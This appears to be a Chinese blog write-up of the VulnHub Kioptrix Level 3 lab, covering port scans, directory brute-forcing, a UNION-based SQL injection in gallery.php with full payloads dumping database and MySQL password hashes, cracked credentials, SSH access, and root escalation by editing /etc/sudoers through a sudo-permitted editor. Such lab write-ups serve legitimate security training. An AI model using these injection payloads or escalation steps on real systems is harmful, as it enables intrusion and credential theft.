vulnhub之KVM3

1、靶机导入

        导入靶机时发现和之前的Kioptrix_Level_1靶机是同一个系列的,靶机默认网络模式为桥接,改为NAT方式为:

修改靶机Kioptrix: Level 1 的网络模式 - Jason_huawen - 博客园 (cnblogs.com)icon-default.png?t=N4P3https://www.cnblogs.com/jason-huawen/p/16097208.html

2、信息收集

2.1 扫描tcp开放端口

┌──(kali㉿kali)-[~/vulnhub/kioptrix-level-3]
└─$ cat tcp_open_port.nmap     
# Nmap 7.93 scan initiated Sat Jun 10 16:19:54 2023 as: nmap --min-rate 10000 -p- -oA tcp_open_port 192.168.62.179
Nmap scan report for 192.168.62.179
Host is up (0.0024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:4D:09:5D (VMware)

# Nmap done at Sat Jun 10 16:20:04 2023 -- 1 IP address (1 host up) scanned in 9.54 seconds
        可以22和80端口开放。

2.2 扫描udp开放端口

└─$ cat udp_open_port.nmap 
# Nmap 7.93 scan initiated Sat Jun 10 16:20:04 2023 as: nmap -sU --min-rate 10000 -p- -oA udp_open_port 192.168.62.179
Warning: 192.168.62.179 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.62.179
Host is up (0.00047s latency).
All 65535 scanned ports on 192.168.62.179 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
MAC Address: 00:0C:29:4D:09:5D (VMware)

# Nmap done at Sat Jun 10 16:21:18 2023 -- 1 IP address (1 host up) scanned in 73.57 seconds
         发现没有udp端口开放。

2.3 扫描开放端口服务及其版本版本、nmap默认脚本扫描

┌──(kali㉿kali)-[~/vulnhub/kioptrix-level-3]
└─$ cat open_port_service.nmap 
# Nmap 7.93 scan initiated Sat Jun 10 16:21:18 2023 as: nmap -sT -sV -O -sC -p22,80, -oA open_port_service 192.168.62.179
Nmap scan report for 192.168.62.179
Host is up (0.0011s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30e3f6dc2e225d17ac460239ad71cb49 (DSA)
|_  2048 9a82e696e47ed6a6d74544cb19aaecdd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:4D:09:5D (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jun 10 16:21:42 2023 -- 1 IP address (1 host up) scanned in 23.89 seconds
 

2.4 80端口目录爆破

        因为80端口开放且是http服务,先进行目录爆破。

┌──(kali㉿kali)-[~/vulnhub/kioptrix-level-3]
└─$ cat web_scan.txt          
/modules              (Status: 301) [Size: 357] [--> http://192.168.62.179/modules/]
/gallery              (Status: 301) [Size: 357] [--> http://192.168.62.179/gallery/]
/data                 (Status: 403) [Size: 325]
/core                 (Status: 301) [Size: 354] [--> http://192.168.62.179/core/]
/style                (Status: 301) [Size: 355] [--> http://192.168.62.179/style/]
/cache                (Status: 301) [Size: 355] [--> http://192.168.62.179/cache/]
/phpmyadmin           (Status: 301) [Size: 360] [--> http://192.168.62.179/phpmyadmin/]
/server-status        (Status: 403) [Size: 334]
 

3、getshell

        只有22和80 端口开放,一般而言22端口的优先级都是在后边的,因此先看80端口。

3.1 网站信息收集

①打开网站,随便看看。首页写着页面已经迁移且附有新的网页链接。

 ②依照惯例看首页源码有没有注释信息,但是没有收获。

③点击链接,跳到新页面,发现页面刷新较慢,信息显示不全,右下角有域名请求,页面源码也有域名信息。

④因此在/etc/hosts加入对应域名信息。

 ⑤使用域名重新访问页面,发现信息已经完全加载出来

 3.2 漏洞挖掘

  ①从首页点击Ligoat Press Room,然后使用下拉功能时发现url有变化。

 ②看到这的时候就意识到大概率有sql注入,直接尝试 or 1=1--+

     http://kioptrix3.com/gallery/gallery.php?id=1%20%20or%201=1--%20+&sort=photoid#photos

       尝试or 1=2 -- +,页面已经改变

        http://kioptrix3.com/gallery/gallery.php?id=1%20%20or%201=2--%20+&sort=photoid#photos

 ③确定当前表的列数

        猜列数,order by 6-- + 时正常

         order by 7-- + 时异常

        由此确定当前表一共有6列数据。

④开始爆库

爆所有的库名:
http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--+

        有information_schema,gallery,mysql三个库。

爆gallery库的表

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='gallery'--+

        有:dev_accounts,gallarific_comments,gallarific_galleries,gallarific_photos,gallarific_settings,gallarific_stats,gallarific_users

爆gallarific_users表的所有字段

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+

        有:userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode

爆gallarific_users表username,password的数据

        得到admin/n0t7t1k4

爆mysql库的表

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='mysql'--+

        我们关注的有:user表

爆user表的所有字段

http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='user'--+

        我们感兴趣的字段有:User,Password

爆user表User,Password的数据

        http://kioptrix3.com/gallery/gallery.php?id=1 union select 1,group_concat(User),group_concat(Password),4,5,6 from mysql.user--+

        得到

root/*47FB3B1E573D80F44CD198DC65DE7764795F948E

root/*47FB3B1E573D80F44CD198DC65DE7764795F948E

root/*47FB3B1E573D80F44CD198DC65DE7764795F948E

debian-sys-maint/*F46D660C8ED1B312A40E366A86D958C6F1EF2AB8

        随便找个破解网站得root/fuckeyou

⑤尝试使用root/fuckeyou登陆phpmyadmin,看到gallery下还有个dev_accounts表,表里有两条数据。

         数据拿出来找个在线网站破解,得到

loneferret/starwars
dreg/Mast3r

 ⑥尝试ssh登陆,提示算法协商不成功,加个-oHostKeyAlgorithms=ssh-rsa,ssh-dss 就好了

         dreg也可以登陆,但是bash环境有限制且权限没loneferret用户的权限高,因此使用loneferret继续渗透。

4、提权

①sudo -l 

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su
    (root) NOPASSWD: /usr/local/bin/ht

        可以使用除了root外的其他用户的权限执行su,无需密码以root权限执行ht。

        其他权限执行su不关心,直接搞ht。 

②     sudo ht,出现Error opening terminal: xterm-256color

                  

        复制错误直接百度,根据这个得到提示ssh - error opening terminal: xterm-256color - Unix & Linux Stack Exchange     

        export TERM=xterm

        然后就可以了,再次sudo ht,进入以下页面 

         根据提示按F3打开文件,输入/etc/sudoers进行编辑   ,有关sudoers文件的信息请自行查找。  

         回车,找到loneferret用户的那行,直接添加/bin/nash

         F2保存,F10退出

③再次sudo -l,已经有了无需root密码就能执行sudo /bin/bash命令

        sudo /bin/bash -p

④cat /root/Congrats.txt看靶机作者留言。

 

 5、个人碎碎念

        ①一开始也是根据目录爆破的信息一个个慢慢看,最后才锁定http://kioptrix3.com/gallery/

        ①sql刚开始注入的时候使用的是' or 1=1 -- +,试了几分钟才想到这应该是数值型注入点,赶快把'去掉。

        ②sql注入也注意了gallery库的dev_accounts表,但是懒得一步步搞了,想着直接登陆phpmyadmin一个个慢慢看。哈哈哈哈,人懒就是这样。

        ③爆出来的dev_accounts表的两个用户,ssh连接时loneferret复制成loneferre,少了个t,还以为密码已经改了,后面还是用dreg用户cat  /etc/passwd对比才发现不对劲。。。太粗心了。

        ④用dreg时试过用得到的密码对root进行撞库,但是都失败了。

        ⑤使用dreg时尝试使用mysql udf提权,但是写不进去/usr/lib/目录,还有为啥没plugin_dir这个参数。

        ⑤ht编辑器还是摸索了好几十分钟才知道怎么用的,百度也没搜到操作指导。

        ⑥还是太菜了,哈哈哈哈哈哈。

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值